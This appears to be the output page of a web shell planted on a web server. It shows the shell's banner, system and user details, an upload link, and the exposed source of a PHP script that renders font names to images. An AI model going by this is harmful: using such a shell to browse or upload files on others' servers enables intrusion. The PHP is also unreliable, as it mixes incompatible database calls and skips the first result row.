( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/createFontGraphics.php
<?php
/*http://localhost/thebrand/processFont2.php?route=theName&fontid=1597&myfont=&fontcatalogid=254722407698&themeid=1597&font_Username=BebasNeue.otf&font_Name=BebasNeue.otf&font_Url=BebasNeue.otf&font_Text=BebasNeue.otf&text_w=300&text_h=0&text_x=154&text_y=459&text_align=left&text_size=25&text_color=ffffff&url_color=ffffff&name_color=ffffff&username_color=ffffff&url_size=25&name_size=25&username_size=25&text_pad=0&text_line_height=30&text=santos%20okottah*/
error_reporting(0);
include("includes/limittext.php");
include('Connections/videoondemand.php');  
require("DbSql.inc.php");
require("NewsSql.inc.php");

$db = new NewsSQL($DBName); 
/*set_time_limit(0) ;*/
function filter($arr) {
    global $link;
return array_map(array($link, 'real_escape_string'), $arr);
}
/*
https://maps.googleapis.com/maps/api/staticmap?center=NAKURU&zoom=13&size=600x600&maptype=hybrid
http://localhost/mimix/brandX.php?AppNo=254722407698&mag=yes&gratitude=posted&filter=mood&nani=254722407699&cl=rightnow&pic=0fbfb36bad36a37e22955b2081eac3036SAMCOM2011DAY3-051.jpg*/
$_GET = filter($_GET);
$_POST = filter($_POST); 
$mode=$_GET["mode"];



if (empty($page)) {
	$page = 0;
}



include("includes/processFunctions.php");
 require  'elementsMachine/textStyles/texttoImageX.php';
 
$obj = new TextToImage();

$query = mysqli_query("SELECT * FROM `brandfonts`  order by fontid desc limit 0,3000") or die(mysql_error());
	   $row=mysql_fetch_array($query);
	  
	  
	  while($row=mysql_fetch_array($query)){

$font_Text= $row["filename"].".ttf";

$text_align= "left";
$text_size= "35";
$text_color= "000000";
 
$text_pad= 0;
$theText= "The Brand";
$saveImage= $_GET["saveImage"];
$theText = htmlentities($row["name"]);




$theText = str_replace('%92', '%27', $theText);


$text_line_height= $text_size; 


  
$obj->setText($theText);
$obj->setFontSize($text_size);
$obj->setLineHeight($text_line_height);
$obj->setFontFile("assets/fonts/".$font_Text);
$obj->setUnderline(0);
$obj->setPadding($text_pad);
$obj->setHAlignment(strtolower($text_align));  
$obj->setWidth(500);
$obj->setHeight(0);  

$obj->sety(200);
 

$obj->setAngle(0);
 
$obj->setFontColor('#'.$text_color);  
$obj->setBackgroundColor('transparent');  
$obj->draw();

  
 
    }   
 
 
 

?>